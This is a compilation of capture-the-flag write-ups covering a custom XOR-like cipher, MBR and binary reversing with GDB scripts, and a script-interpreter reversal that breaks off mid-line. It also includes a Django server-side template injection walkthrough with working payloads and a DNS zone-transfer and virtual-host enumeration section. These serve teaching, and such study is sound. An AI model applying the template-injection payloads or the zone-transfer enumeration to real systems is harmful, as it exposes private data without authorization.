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# Almost Xor## Crypto - 200
#### Can you decode this ciphertext?#### `809fdd88dafa96e3ee60c8f179f2d88990ef4fe3e252ccf462deae51872673dcd34cc9f55380cb86951b8be3d8429839`
We're given the above hex-encoded ciphertex and the file `almostxor.py` that was used to produce it. I think the best way to explain just what this bizarre cipher does is to walk through an example encryption. Let's encrypt the message `Hi, I'm a message` with the key `key`. In addition to taking a message and a key, the `encrypt()` function also takes a nonnegative integer `n` less than 8. For simplicity, let's use `n=2` (when `n=1`, the encryption reduces to a simple xor!). We repeat the key so that it's as long as our message and break the key and message up into blocks of size `n`. If our last block isn't two bytes long, we append a null byte:
```Hi|, |I'|m |a |me|ss|ag|e\x00ke|yk|ey|ke|yk|ey|ke|yk|e\x00```
Now we take each block and run it through this function:
```pythondef to_num(s): x = 0 for i in range(len(s)): x += ord(s[-1-i]) * pow(256, i) return x```
This function takes a string, treats it like an integer written in base-256, and spits out that integer. For example, since `H` and `i` are 72 and 105, respectively, in ASCII, `to_num('Hi') = (72*256) + 105 = 18537`. We apply this function to each of our two byte blocks:
```18537, 11296, 18727, 27936, 24864, 28005, 29555, 24935, 2585627493, 31083, 25977, 27493, 31083, 25977, 27493, 31083, 25856```
Now we take each of these numbers and run it through this:
```pythondef get_vals(x, n): vals = [] mask = (1 << n) - 1 for i in range(8): vals.append(x & mask) x = x >> n vals.reverse() return vals```
This takes a number and writes it in base `2^n`, storing the digits in a list. We'll only write this out for a couple numbers here:```[1, 0, 2, 0, 1, 2, 2, 1][0, 2, 3, 0, 0, 2, 0, 0]...[1, 2, 2, 3, 1, 2, 1, 1][1, 3, 2, 1, 1, 2, 2, 3]...```
Now we go digit by digit and add vertically modulo `2^n`:
```[1, 0, 2, 0, 1, 2, 2, 1][0, 2, 3, 0, 0, 2, 0, 0]...[1, 2, 2, 3, 1, 2, 1, 1][1, 3, 2, 1, 1, 2, 2, 3]...----------------------------------------------------AlmostXor[2, 2, 0, 3, 2, 0, 3, 2][1, 1, 1, 1, 1, 0, 2, 3]...```
This is where the challenge gets its name. If we were xor-ing, we would be adding two bitstrings modulo 2. Here we are adding modulo `2^n`. Finally, we just convert these back to characters by reversing the process that takes characters to base `2^n` integers. This is exactly what the function `get_chrs()` does:
For completeness's sake, here's the whole thing:
Great, now how do we break it? Well we can reverse this AlmostXor-ing process by just subtracting modulo `2^n` instead of adding. We write one function that does this subtraction on lists and another to use it to decrypt given a ciphertext, key, and `n`:
```python#computes alist - blistdef subtract(alist, blist, n): return [(alist[i] - blist[i])%(2**n) for i in range(8)]
# 'subtracts' s1 - s2def unxor(ciphertext, k, n): rep_key = k * (len(ciphertext) // len(k)) + k[:len(ciphertext) % len(k)] c_val_list = [get_vals(num, n) for num in get_nums(ciphertext, n)]# [ [list], [list]] rk_val_list = [get_vals(num, n) for num in get_nums(rep_key, n)]
plaintext_list = [subtract(c_val_list[i], rk_val_list[i], n) for i in range(len(c_val_list))]
return ''.join([get_chrs(lst, n) for lst in plaintext_list])```
The superfluous byte at the end is just the result of padding. Much like in Crypto-100, we can use the fact that the message starts with `flag{` to get the first few bytes of the key. The problem is that we don't know what `n` is. We can at least narrow it down. Since we break our plaintext up into blocks of `n` bytes (with padding) to produce ciphertext blocks of `n` bytes, we have that `n` must divide the length of the ciphertext. Since our ciphertext is 48 bytes long, that gives us possibel values of `n` of 1, 2, 3, 4, and 6. We can pretty safely assume that `n` isn't 1 or else this would just be a simple xor, and I doubt the folks over at CSAW would go to such lengths to dress up such a simple problem. We put off the possibility that `n=6`. If `n` were 6, then to get the first key block we would have to guess the sixth byte of the flag. While this doesn't sound like much a problem, we would have to approach it a bit differently, so let's put this case aside for now.
For `n=2` we have two known 2-byte blocks in `flag{`, `fl` and `ag`. For `n=3`and 4 we have just one block of the required length, `fla` and `flag`. These give the following possible key prefixes, where `c` is the ciphertext decoded from the given hex:
Now just like with a repeating-key xor cipher, we proceed by guessing the key length. We know that when we decrypt the ciphertext, we should get printable characters at the positions of the known key bytes:
```pythonk2 = 'ns\xbce'k3 = '>\xb3\xbc'k4 = '*3|!'
def try_block_length(n): if n == 2: k = k2 known_bytes = 4 if n == 3: k = k3 known_bytes = 3 if n == 4: k = k4 known_bytes = 4
for i in range(44): klen = len(k) + i message = unxor(c, k+('A'*i), n) all_printable = True for j in range(len(message)): if (j%klen < known_bytes) and message[j] not in string.printable: all_printable = False break if all_printable: print 'n = {}: len(k) = {}'.format(n, klen)
try_block_length(2)try_block_length(3)try_block_length(4)```
36 bytes seems like an awfully long key compared to the size of our ciphertext. Let's try a block length of 3 bytes and a key length of 6 bytes. Since we know the first five bytes of the message, we only need to guess the sixth and check to see if the resulting key lets us decrypt the ciphertext and get something that looks like a flag:
```pythondef try_decrypt(): for char in string.printable: second_block = 'g{' + char k = k3 + unxor(c[3:6], second_block, 3) message = unxor(c, k, 3)
all_printable = True for char2 in message:#flag should be printable if char2 not in string.printable: all_printable = False break if all_printable and '}' in message:#flag ends with } print message```
Finally! This was a fun generalization of a cipher that shows up a lot in CTFs. |
# Sudo_root-----------------------# Reversing400 realism:
Did you know that x86 is really old? I found a really old Master Boot Record that I thought was quite interesting! At least, I think it's really old...
qemu-system-i386 -drive format=raw,file=main.bin------------------------
We were provided with a [main.bin](https://github.com/youben11/CSAW_2017_quals_rev400/blob/master/main.bin) which seems to be a DOS/MBR boot sector, so we have to disassamble it as 16-bit assembly.
I first started it in qemu to have an idea of what going on, It prints some byte to the screen and wait for the user to type a flag of 20char length and check if the flag is correct (it prints wrong :p).
Then I started IDA to do some static analysis, the code was small since the MBR is limited to the size of 512bytes, the execution also start at the begining of the file wich is loaded at adr 0x7c00 (MBR stuff). After few readings, I realised that the important part of the code is in the range adr [0x066-0x0d3] the rest is some code for reading from the keyboard and printing the result and stuff like that, we will only focus on the important part (the entire assembly code is [there](https://github.com/youben11/CSAW_2017_quals_rev400/blob/master/main.ida) )
0066 cmp byte ptr ds:7DC8h, 13h ; check if the flag_length is < 19 and read more if yes, otherwise start checking the flag
006B jle loc_10D
006F cmp dword ptr ds:1234h, 67616C66h ; compare the first char of the flag with "flag"
0078 jnz loc_14D
008B mov si, 8 ; prepare si for a loop
007C movaps xmm0, xmmword ptr ds:1238h ; this load the 16 byte that follows "flag" into xmm0
0081 movaps xmm5, xmmword ptr ds:7C00h ; this load the 16 first byte of the binary ( remember that MBR is loaded at adr 0x7c00 )
0086 pshufd xmm0, xmm0, 1Eh ; this just change the position of the in xmm0
I didn't focused on how pshufd really work because I know that I can reorder the flag using my eyes and because I was very tired x)
after that is a loop of 8 iteration, if a check is not correct it will break and display wrong, if it can finish the 8 iteration, it will print correct, so what was this check ?
this is the begining of the loop:
008E movaps xmm2, xmm0 ; move the changed flag to xmm2
0091 andps xmm2, xmmword ptr [si+7D90h] ; this just switch two byte of xmm2 to 0x00 depending on the si
0096 psadbw xmm5, xmm2 ; It will take me a lot to explain this intruction, please read the doc
from psadbw the computation of the 16byte flag will be devided (go read the doc), the result of each part must be equal to some bytes stored at 0x7da8-0x7dc8 at each iteration, this lead us to some equation :
b8 + b7 + b6 + b5 + b4 + b3 + abs(b1-cst1) = res1
b8 + b7 + b6 + b5 + b4 + b2 + abs(b1-cst2) = res2
b8 + b7 + b6 + b5 + b3 + b2 + abs(b1-cst3) = res3
b8 + b7 + b6 + b4 + b3 + b2 + abs(b1-cst4) = res4
b8 + b7 + b5 + b4 + b3 + b2 + abs(b1-cst5) = res5
b8 + b6 + b5 + b4 + b3 + b2 + abs(b1-cst6) = res6
b7 + b6 + b5 + b4 + b3 + b2 + abs(b1-cst7) = res7
with some linear algebra and some brute_force we can solve it, I used numpy to get this done [keygen.py](https://github.com/youben11/CSAW_2017_quals_rev400/blob/master/keygen.py)there is two value for cst and dec, each one of them give 8byte independently, so just comment one of them
the first value of cst and dec give 10 possibilites but the first one seems to be the good one, after reorder of them it gives "{4r3alz_"
the second then give 9 possibilites, reading carefully, the 8th seems to be the good one, after reoredr of them it gives "m0d3_y0}"
the flag was "flag{4r3alz_m0d3_y0}" |
# WarmUp`397pts` `63 solves` `Reversing`
-----
* *@author*: derbenoo * *@note*: The original write-up is located [here](https://derbenoo.github.io/ctf/2017/09/23/ekoparty_ctf_2017_warmup/)
-----
## Challenge Description
It's time to warm up your reversing skills!
## Overview
We run the binary and get the following prompt:
```$ ./warmupEnter your values: ABC```
Looks like we have a statically linked and stripped binary on our hands, let's open it in IDA. Unfortunately, IDA does not seem to be able to identify the used libraries so we end up with a huge pile of unnamed assembly code. Anyways, let's start at the `start`. We know that the `start` function usually calls `__libc_start_main` and passes the address of the `main` function to it as a parameter:
we follow the `sub_400E5F` function which is most likely our `main` function and see that it makes 2 function calls (`sub_4009AE` and `sub_400E4F`). The first function seems to be a simple read call as we find the string that was also output by the binary before we were prompted to input our value:
We assume that the second function then verifies our input. We follow a very long trail of function calls (luckily all functions have the same size and structure so that we can simply spam double click to get through) until we arrive here:
Most of the blocks look like this:
So in each block, a byte of our input is compared with a byte of the "correct" input. If the compare checks out, the program goes to the next block. If not, it simply exits. When all compares where successful, we arrive at a block that prints the string "valid!". The problem is that the compares are not sequential but jump around in our input string. Additionally, the locations of the correct input bytes seem to be random as well and some blocks do more complicated operations to obtain the correct input byte before the compare. While we could manually write down at what position of the input the compare expects which byte, it is easier and way cooler to write a GDB Python script that does this for us.
## GDB/ PEDA Script
While Python GDB is already quite nice for scripting GDB, we make it even nic by using [PEDA](https://github.com/longld/peda). You need to have GDB set up with PEDA to be able to execute the following script:
``` python# run like this: gdb -x warmup.py
offset = 50len_input = 50filename = "in"
with open(filename, "w") as f: # write bytes starting from offset to input file f.write(''.join([chr(i) for i in range(offset, offset+len_input)]))
flag= ["\x00" for _ in range(len_input)] # initialize flag array with null bytes
peda.execute('file ./warmup')peda.set_breakpoint(0x4009D8) # break before first input referencepeda.execute("run < %s" % filename) # run with input file
rip= peda.getreg("rip")while rip < 0x400c6c: # run until hitting the "valid!" part or failure rip= peda.getreg("rip") instr= peda.current_inst(rip)[1][:3]
if instr == "cmp": al= peda.getreg("rax") # flag char dl= peda.getreg("rdx") # input char flag[dl-offset]= chr(al)
if instr == "jne": peda.set_eflags("zero", True)
gdb.execute("n", to_string=True)
print(''.join(flag[:flag.index("\x00")])) # print flag until first null bytepeda.execute('quit')```
And here's how it works. We basically want the following things:* Stop at each `cmp` instruction and write down at which position of our input which byte was checked for* Prevent each `jne` instruction from jumping so we end up in the next block, regardless of the result of the `cmp` instruction
Ok, preventing `jne` from jumping is easy as we simply have to set the zero flag to 1 before executing it. For the `cmp` instruction, we thought of a nifty trick: The registers `dl` and `al` are compared where `dl` contains the byte of our input and `al` the byte of the "correct" input. Now, if we provide the binary with an input of the structure `\x00\x01\x02\x03 ... \x50`, each input byte is equal to its position inside the string. This way, we simply have to note down the byte in the `al` register at the position `dl` and get the flag! In the above script, we had to start from an offset (50) because the byte `\x0a` is interpreted as a newline character by the read call, which then terminates. We write the input bytes to a file so we can easily provide them as an input to the binary in GDB. The flag variable is initialized as a list of null bytes so that we can easily replace a character at a position (a string would be cumbersome as strings are immutable in Python).
We let the script run and receive the flag:
```gdb -x warmup.py[...]EKO{1s_th1s_ju5t_4_w4rm_up?}``` |
# Solution for Shia Labeouf-off!
## Things to know
This challenge is based on the python web framework, Django. Before jumping into this one, review Django and templates in Django.
## Walkthrough
### Step 1: Investigation
#### Homepage and polls
When you first pull up this challenge, you will be on the homepage, with a Shia Surprise!
Viewing the source for this page reveals nothing useful; let's move on.
When you click the "Pick ur Shia!" button, you are brought to a new page, /polls/, which has 2 links to polls. Clicking one of the two, we are brought to a new url, http://web.chal.csaw.io:5487/polls/2/, and the number in the url immediately sticks out. Trying to change the url to 3 results in an error.
http://web.chal.csaw.io:5487/polls/3/
We are quickly greeted by a wall of error text! This may (and will) be useful later, but for now, let's move on.
#### Ad-Lib
Returning to the homepage, we can follow another link to /ad-lib/, where we are presented with a textbox with the following instructions:
> Give me an ad lib and I will Shia Labeouf it up for you!> Where you want a noun, just put: "{{ noun }}", for a verb: "{{ verb }}", and for an adjective: "{{ adjective }}"!
I was not familiar with Django when I started this challenge; however, this stands out immediately as some kind of programming language. Googling django and {{ }} reveals that we are looking at Djangos templates. It appears we have found our vulnerability.
However, we do not have a direction for our exploit. Since the debug is on, let's go ahead and get an error on this page as well. This is easily done by inserting some weird Django template, such as:
{{ * }}
### Step 2: Searching for our flag
#### Mrpoopy
We now have two useful error pages, one on the polls page and one on the adlib page.
When looking through django errors, it's useful to look for code on the error trace that was created by the user, not the library. You can find this code by looking for files with clearly user-generated names, or starting with ./ (Clicking on the one-line code excerpt will expand it.)
Scrolling through it, we find this:
./ad-lib/views.py in index
def index(request): global obj if request.method == "POST": data = request.POST.get('formatdata', '') template_data = TEMP.format(data.replace("noun", "noun|safe").replace("verb", "verb|safe").replace("adjective", "adjective|safe")) template = Template(template_data) context = RequestContext(request, { 'noun': '', 'verb': '', 'adjective': '', 'mrpoopy': obj })
We have found the values we were calling earlier! However, we also found an object, mrpoopy. Let's try to print this by injection again:
{{ mrpoopy }}
We are given the following:
> <ad-lib.someclass.Woohoo instance at 0x7f9d71900680>
This is a fairly strange object, and in a convenient location, so our flag is probably hiding here. Unfortunately, we have no way to know what attributes are in the object, such as by calling the dir function in python.
#### Finding Mypoopy's attributes
Let us view our other source of knowledge, the errors in the polls page. We will do what we did before, and search for user-written code. We find, amongst other things:
./polls/templatetags/pools_extras.py in checknum
@register.filter(name='getme') def getme(value, arg): return getattr(value, arg)
@register.filter(name='checknum') def checknum(value): check(value)
@register.filter(name='listme') def listme(value): return dir(value)
def check(value):
That listme is exactly what we need! This file is in the folder templatetags. If we google this, we find these are custom functions that act like "filters" for our templates. The following prints my_date, formatted as Y-m-d:
{{ my_date|date:"Y-m-d" }}
The custom listme calls dir on the variable, which is exactly what we need! The getme might also be useful, so let's keep it in mind.
### Step 3: Exploit!
Let's go bck to the ad-lib page and find out what secrets mrpoopy holds. Inject the following:
{{ mrpoopy|listme }}
We get the following:
['Woohoo', '__doc__', '__flag__', '__module__']
Perfect! That flag value is exactly what we need! You just killed Shia Labeouf!
{{ mrpoopy.__flag__ }}
Wait... He's not dead! Shia Surprise! (https://www.youtube.com/watch?v=o0u4M6vppCI) We got a syntax error, as variables and attributes may not begin with underscores. Fortunately, we found a function earlier that is not so limiting: getme. Let's use it here!
{{ mrpoopy|getme:"__flag__" }}
Congratulations! You have just beat Shia Labeouf. For real this time. And you kept all your limbs!
## Flag
flag{wow_much_t3mplate} |
## Spies (MYDNS)
> Watch out from those prying eyes! It seems someone is opening everything to the world, find that webcam and you will see for yourself!> > https://mydns.webcam/
### Solution
When we accessed the URL we were presented with "*My .webcam DNS*" web panel that allegedly was supposed to let users create their own subdomains for mydns.webcam domain.
What surprised us most is that it really worked! Participants could create their own subdomains leading to whatever IP that were later really visible in the DNS system.
However since this wasn't web task and panel had captchas we didn't even bother checking it more.
We decided to find authoritative nameservers for mydns.webcam and check it for zone transfer. It worked!
```bash$ dig +trace +short NS mydns.webcam...NS ns1.ctf.site. from server 34.198.251.163 in 141 ms.NS ns2.ctf.site. from server 34.198.251.163 in 141 ms.
$ dig @ns1.ctf.site. axfr mydns.webcam
; <<>> DiG Ubuntu <<>> @ns1.ctf.site. axfr mydns.webcam; (1 server found);; global options: +cmdmydns.webcam. 300 IN SOA mydns.webcam. root.mydns.webcam. 1709161543 300 86400 2419200 604800mydns.webcam. 300 IN NS ns1.ctf.site.mydns.webcam. 300 IN NS ns2.ctf.site.mydns.webcam. 300 IN A 34.231.38.24mydns.webcam. 300 IN TXT "v=spf1 a -all"mydns.webcam. 300 IN TXT "1.Th3_k1ng_0f_DNS_"_dmarc.mydns.webcam. 300 IN TXT "v=DMARC1; p=reject; sp=reject; pct=100; aspf=s"_35283._tcp.mydns.webcam. 300 IN TLSA 3 1 1 117322A858CDB345000332E616E645F4372797074305F000D11AC030 CE94E163abandoned.mydns.webcam. 300 IN A 34.231.38.24abc.mydns.webcam. 300 IN A 34.231.38.24aberdeen.mydns.webcam. 300 IN A 34.231.38.24absence.mydns.webcam. 300 IN A 34.231.38.24accepts.mydns.webcam. 300 IN A 34.231.38.24accessible.mydns.webcam. 300 IN A 34.231.38.24achievement.mydns.webcam. 300 IN A 34.231.38.24adequate.mydns.webcam. 300 IN A 34.231.38.24admin.mydns.webcam. 300 IN A 34.231.38.24admission.mydns.webcam. 300 IN A 34.231.38.24admzone.mydns.webcam. 300 IN A 34.231.38.24advantage.mydns.webcam. 300 IN A 34.231.38.24affect.mydns.webcam. 300 IN A 34.231.38.24...```
Some problem was that this zone also contained records added by participants.
We decided to filter all A records pointing to 34.231.38.24 (most frequent IP and also IP of mydns.webcam) and query this IP with each subdomain (as a vhost).
```bash$ cat subdomains.txt | while read subdom; do curl -k -H "Host: ${subdom}" https://34.231.38.24/ > output/${subdom.html}; done```
As a result we received only three different versions of output pages:
```bash$ md5sum output/* | cut -d' ' -f 1 | sort | uniq -c 502 15b3fa750b955cd925ef24d77f221cbb 2 1b9a0fce5de18a960c53685ba0bb9d14 30 a4cafe6ba279fb374e68aa88a9258a2c
$ md5sum output/* | grep 1b9a0fce5de18a960c53685ba0bb9d141b9a0fce5de18a960c53685ba0bb9d14 output/greenhouse.mydns.webcam.html1b9a0fce5de18a960c53685ba0bb9d14 output/supercam.mydns.webcam.html```
Next we visited https://greenhouse.mydns.webcam/ and got nice webcam panel with the flag playing at the source 3 video:
Flag: **EKO{spies_everywhere}** |
# bananaScript## Reversing 450
#### shareef12
Not too sure how to Interpret this, the lab member who wrote this "forgot" to write any documentation. This shit, and him, is bananas. B, A-N-A-N-A-S.
We were initially given two files for this challenge; an ELF binary `monkeyDo`and a text file `banana.script`. At some point on Saturday the organizersreleased two additional script files: `test1.script` and `test2.script`.
user@reversing:~/csaw/bananascript$ file * banana.script: ASCII text, with very long lines, with CRLF line terminators monkeyDo: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4e3e2b95c29bcb0f0da9761171d309ce92564cb2, stripped test1.script: ASCII text, with CRLF line terminators test2.script: ASCII text, with CRLF line terminators
Based on the description, `monkeyDo` is probably an interpreter for each of the script files. Running banana.script gives us the following results.
user@reversing:~/csaw/bananascript$ ./monkeyDo banana.script Hello! And welcome to the Flying Monkeys' Fantastic Falling Fan Trivia Game.
Here, the council of monkeys will ask you questions, which will determine whether they choose to lift you away save you from your plummeting fate.
"WRITE DOWN YOUR AGE," speaks the elder monkey.
...Only now do you notice the immense amount of banananasPiled around you on this falling stone platform.. The bananananasSeem to be used for everything, from the obvious food source to building materials to tooth brushes to toys to even glasses, but you can't imagine how well one could see through a pair of K-Vision goggles.
One such monkey wearing these goggles hobbles up to you now, carrying a pile of limp banananananasSkins and a bananananananaPointPen. As this monkey hands you these materials, the black ends of the banananananananas(Where eyes might ought to go?) seem to peer into your soul, as though they know everything and more that there is to know about you, and they are very, very deeply conflicted about you due to a familial disagreement back in the chain... "Disgrace to our fine culture," you think you hear, but so soft that it could have just been the wind. The monkey moves in closer and closer, so close that it could, and actually does bump into you, obviously unaware of where you are due to some odd oblong fruit obscuring its vision.
test_input_1
~How can monkeys talk? And why am I following you their commands?~
"WRITE DOWN YOUR SSN/CVV's/privatekeys- err I mean favorite food!," speaks the elder monkey. test_input_2
"GASP!" All the monkeys are dreadfully appaled, some of them even start to cry. "How could you?" spits one monkey, covering the eyes of their child. The conglomerate of monkeys take off from the platform, leaving you to fall to your death.
At this point we need to find a way to determine what inputs are valid for thesequestions. To do this, I started static analysis of `monkeyDo` in order to builda simple disassembler for the scripts. Opening it up in IDA, we see one of theugliest control flow graphs for `main()`. Due to the lack of other functions, wecan assume the bulk of the disassembler is implemented in this function.
To name some of the c++ functions correctly, I created a test program with somec++ std types, compiled, and disassembled in order to compare functionality.Many of the top-level vector functions seemed to be exactly the same.
After verifying the correct argument count, we encounter the following basicblock, which calls two functions. The first, `read_lines` reads each line fromthe input script file, and splits each line by whitespace, returning a vector oflines, where each line is a vector of words.
The second function seems to initialize some form of hashmap mapping a "bananastring" to an ascii character. This hashmap will probably be used to translate"banana strings" to ascii strings.
Following this, we initialize 16 `std::basic_string` objects on the stack, whichhappen to be the "registers" for this interpreter. In the picture below, thefirst 8 registers are named r0-r8, and the next 8 a0-a8.
Initially I didn't make the connection that these were the registers of theinterpreter until I started looking at some of the instructions. What gave itaway was for many instructions there was a cascading sequence of comparisons fora specific "banana string" and moving the address of one of these registers intoa specific location. Essentially this was the machine choosing a register tooperate on given a specific instruction operand.
In the below images, we see that the fourth word in the line (index 3) is anoperand. Based on the capitalization of the word "banANANS", we choose acorresponding register to operate on. It seems all registers started with"banA", and the remaining text corresponds to the binary value of the registerindex, with uppercase being a 1 and lowercase being a 0.
banANAS = r7 or a7 banANAs = r6 or a6 banANaS = r5 or a5 ... banAnas = r0 or a0
After reversing a few of the opcodes and making extremely slow progress, Idecided to move to a more dynamic analysis. The interpreter loops through eachline, with the start of loop at `0x4074d7`. If we set a breakpoint at thisaddress and dump the machine registers, we can step through a script filemanually. To automate this process, I created a [gdb init script](.gdbinit) thatdefined some useful functions, automatically set a breakpoint, and loaded`banana.script`.
To help decode some of the runtime banana strings, I also wrote a simple[python script](convert.py) to decode them.
user@reversing:~/csaw/bananascript$ gdb monkeyDo Reading symbols from monkeyDo...(no debugging symbols found)...done. Breakpoint 1 at 0x4074d7
Breakpoint 1, 0x00000000004074d7 in ?? () => 0x00000000004074d7: 48 8d 85 f0 f2 ff ff lea rax,[rbp-0xd10]
line: 0x7fffffffd210: 0x00000000
r0: 0x7fffffffd4d0: "" r1: 0x7fffffffd4b0: "" r2: 0x7fffffffd490: "" r3: 0x7fffffffd470: "" r4: 0x7fffffffd450: "" r5: 0x7fffffffd430: "" r6: 0x7fffffffd410: "" r7: 0x7fffffffd3f0: ""
a0: 0x7fffffffd5d0: "" a1: 0x7fffffffd5b0: "" a2: 0x7fffffffd590: "" a3: 0x7fffffffd570: "" a4: 0x7fffffffd550: "" a5: 0x7fffffffd530: "" a6: 0x7fffffffd510: "" a7: 0x7fffffffd4f0: "" (gdb) c Continuing.
Breakpoint 1, 0x00000000004074d7 in ?? () => 0x00000000004074d7: 48 8d 85 f0 f2 ff ff lea rax,[rbp-0xd10]
line: 0x7fffffffd210: 0x00000001
... ... ... (gdb) c Continuing.
Breakpoint 1, 0x00000000004074d7 in ?? () => 0x00000000004074d7: 48 8d 85 f0 f2 ff ff lea rax,[rbp-0xd10]
line: 0x7fffffffd210: 0x00000002
... ... ... (gdb) c Continuing.
Breakpoint 1, 0x00000000004074d7 in ?? () => 0x00000000004074d7: 48 8d 85 f0 f2 ff ff lea rax,[rbp-0xd10]
line: 0x7fffffffd210: 0x00000003
... ... ... (gdb) c Continuing.
Breakpoint 1, 0x00000000004074d7 in ?? () => 0x00000000004074d7: 48 8d 85 f0 f2 ff ff lea rax,[rbp-0xd10]
line: 0x7fffffffd210: 0x00000004
r0: 0x62e2b0: "baNANAs banAnAS banANaS banaNAs BANANAs BANaNas BANAnas bANanAS baNaNAs banaNAs bANaNas BaNaNaS baNanas BaNaNas BaNanas BaNANas baNAnaS banaNAS bANAnAs banANAS bAnaNAs BANAnAS BANAnas BaNANas bAnANas "... r1: 0x62e0d0: "BAnaNas BANANAS BAnAnAs BANANAS BAnAnAs BANANAS" r2: 0x7fffffffd490: "" r3: 0x7fffffffd470: "" r4: 0x7fffffffd450: "" r5: 0x7fffffffd430: "" r6: 0x7fffffffd410: "" r7: 0x62e690: "BaNANAs BANAnAS BANaNas BANaNas BANanaS bANaNas BanAnAS BAnaNaS BANanAs BANANas BanAnAS BAnAnaS BANAnAS BANaNas BANANaS BANanaS BANanAS BANAnAS BanAnAS BAnANas BANanaS BanAnAS BAnANas BANAnas BANAnAS "...
a0: 0x7fffffffd5d0: "" a1: 0x7fffffffd5b0: "" a2: 0x7fffffffd590: "" a3: 0x7fffffffd570: "" a4: 0x7fffffffd550: "" a5: 0x7fffffffd530: "" a6: 0x7fffffffd510: "" a7: 0x7fffffffd4f0: ""
user@reversing:~/csaw/bananascript$ ./convert.py > BaNANAs BANAnAS BANaNas BANaNas BANanaS bANaNas BanAnAS BAnaNaS BANanAs BANANas BanAnAS BAnAnaS BANAnAS BANaNas BANANaS BANanaS BANanAS BANAnAS BanAnAS BAnANas BANanaS BanAnAS BAnANas BANAnas BANAnAS Hello! And welcome to the
>
At this point, it's time to start reversing specific operands. Since `monkeyDo`seemed to implement many more opcodes that the script used, I started with thefirst instruction in the script and began reversing to figure out what that linedid, and implemented that functionality in the disassembler. This step probablytook the longest amount of time. `banana.script` ended up using 8 differentoperations.
1. store rX, CONST - Store a constant banana string in a general purpose register.2. store aX, CONST - Store a constant banana string in an arithmetic register2. xor rX, rY - Perform a repeated xor of rX and rY for the length of rX, storing the result in rX.3. put rX - Convert register banana string to ascii and print to stdout4. get rX - Get ascii input, convert to banana string, and store in register rX.5. sge rX, rY - Hash two registers, and skip the next instruction if rX > rY. The hash always appeared to be greater if len(rX) > len(rY)6. se rX, rY - Skip if equal7. jmp aX - Jump forward the amount of instructions indicated in register aX.8. mix rX, rY - Mix the input of rY into rX (I didn't spend the time to fully reverse this operation).
The full disassembly of banana.script using the custom[disassembler](disassemble.py) is below.
user@reversing:~/csaw/bananascript$ ./disassemble.py banana.script 0: store r0, "baNANAs banAnAS banANaS banaNAs BANANAs BANaNas BANAnas bANa..." 1: store r7, "bANaNas banaNas baNANAs banAnAS baNaNaS BanAnAS bAnanaS baNA..." 2: store r1, "BAnaNas BANANAS BAnAnAs BANANAS BAnAnAs BANANAS" 3: xor r7, r1 4: put r7 5: store r1, "BanAnAS" 6: put r1 7: store r7, "bAnANAS banAnAs banAnAs banaNas BanaNaS bANAnAs baNANaS bana..." 8: store r1, "BAnaNas BANANAS BANAnAs BANanaS BANanaS BANAnAs BANanaS BANa..." 9: xor r7, r1 a: put r7 b: store r1, "BanAnAS" c: put r1 d: store r7, "BaNAnas bAnanaS bAnAnAs bAnaNAs bANANas baNanAS bANanas banA..." e: store r1, "BANANAs BANAnAS BAnANAs BANanAs BANAnAS BAnANAs BANanAs BANA..." f: xor r7, r1 10: put r7 11: store r1, "BanAnAS" 12: put r1 13: store r7, "BAnAnAs BaNAnAS BAnAnas bananaS baNanAS baNaNAs bANAnAs baNa..." 14: store r1, "BaNANaS BaNAnaS BaNanAs BaNaNas BAnaNaS BaNaNAs BaNaNAs BAna..." 15: xor r7, r1 16: put r7 17: store r1, "BanAnAS" 18: put r1 19: store r7, "bAnaNaS banANaS banAnaS bANaNas bananas baNANas baNanas bANA..." 1a: store r1, "BANANAs BANANAS BANanAs BANANAS BANanAs BANANAS BAnANaS BANa..." 1b: xor r7, r1 1c: put r7 1d: store r1, "BanAnAS" 1e: put r1 1f: get r7 20: store a7, "BanaNAS" 21: store a6, "Bananas" 22: store r2, "BanAnas BananaS" 23: sge r7, r2 24: jmp a7 25: jmp a6 26: store r1, "BanAnAS" 27: put r1 28: store r7, "BaNaNas bANanas banaNAs baNanAS bANAnAs bANaNaS banAnaS bANa..." 29: store r1, "BAnAnaS BaNANAs BAnaNAS BAnanAs BANaNAS BAnanAs BANaNAS BAna..." 2a: xor r7, r1 2b: put r7 2c: store a7, "BanaNAS BanAnaS BanAnaS" 2d: jmp a7 2e: put r1 2f: store r1, "BanaNas bAnANAS bananas baNaNAS bANaNas banANAS banANAs bana..." 30: store r2, "BANANAs BANANAS BANanAs BANanaS BANanAs BANanaS BANanaS BANa..." 31: xor r1, r2 32: put r1 33: store r1, "BanAnAS" 34: put r1 35: store r4, "BaNaNAS baNAnaS bAnaNaS bAnaNaS banANaS bANaNAs bAnAnaS baNA..." 36: store r1, "BANanaS BANAnas BaNANAS BaNaNAS BAnanAs BANAnas BANAnAS BANa..." 37: xor r4, r1 38: put r4 39: get r4 3a: store r2, "BAnaNas BANANAS BANanAs BANANAS BaNAnas BAnaNaS BAnANaS bANa..." 3b: store a7, "BanaNAS" 3c: store a6, "Bananas" 3d: se r4, r2 3e: jmp a7 3f: jmp a6 40: store r1, "BanAnAS" 41: put r1 42: store r4, "BaNanas bAnAnas banAnas bANANAs bANAnAs BanANas BaNAnas baNA..." 43: store r1, "BANaNAS BANanAS BANaNAS BAnANaS BAnANaS BAnANas BANAnas BANA..." 44: xor r4, r1 45: put r4 46: store a7, "BanaNAS BanAnaS BanAnaS" 47: jmp a7 48: store r1, "BanAnAS" 49: put r1 4a: store r1, "banaNAS bANANas banAnaS baNaNaS bANANAs banANas banAnAs bAnA..." 4b: store r2, "bANanAs BANanAS BANanaS BANanAs BANaNaS BANAnAS BAnaNAS BAna..." 4c: xor r1, r2 4d: put r1 4e: store r1, "BanaNas bAnAnaS bananAS bANanas bAnANas bAnanaS bAnaNaS baNA..." 4f: store r2, "BaNANas BANanaS BANaNAS BANanAs BaNAnaS BAnaNAS BaNANaS BaNa..." 50: xor r1, r2 51: put r1 52: store r1, "BanAnAS" 53: put r1 54: store r5, "BaNaNaS bANAnAs banAnaS bAnANAs bANanAs bANANas baNanAS bana..." 55: store r1, "BANanAs BANanaS BANaNAs BANaNaS BaNANaS BANanAS BAnanas BaNA..." 56: xor r5, r1 57: put r5 58: get r5 59: store r1, "BanAnAS" 5a: put r1 5b: store r1, "BAnanaS banAnAS banAnaS bANAnAs bANanaS bAnAnAS baNaNaS baNA..." 5c: store r2, "BANaNAS BanANAS BaNaNAS BaNAnas BAnanAs BAnanaS BaNaNas BAnA..." 5d: xor r1, r2 5e: put r1 5f: store r1, "BanAnAS" 60: put r1 61: store r6, "BANAnAS bAnAnAs banANas bANAnas banAnAs 